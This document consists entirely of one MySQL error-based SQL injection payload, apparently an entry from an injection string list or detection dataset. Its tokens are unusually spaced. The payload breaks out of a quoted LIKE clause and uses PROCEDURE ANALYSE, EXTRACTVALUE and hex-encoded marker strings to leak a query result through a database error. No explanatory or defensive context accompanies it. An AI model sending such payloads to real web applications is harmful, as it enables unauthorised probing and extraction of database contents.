1%"   )    procedure analyse   (   extractvalue   (   5840,concat   (   0x5c,0x7171706a71,   (   select    (   case when    (   5840   =   5840   )    then 1 else 0 end    )      )    ,0x717a767a71    )      )    ,1   )    and    (   "%"   =   "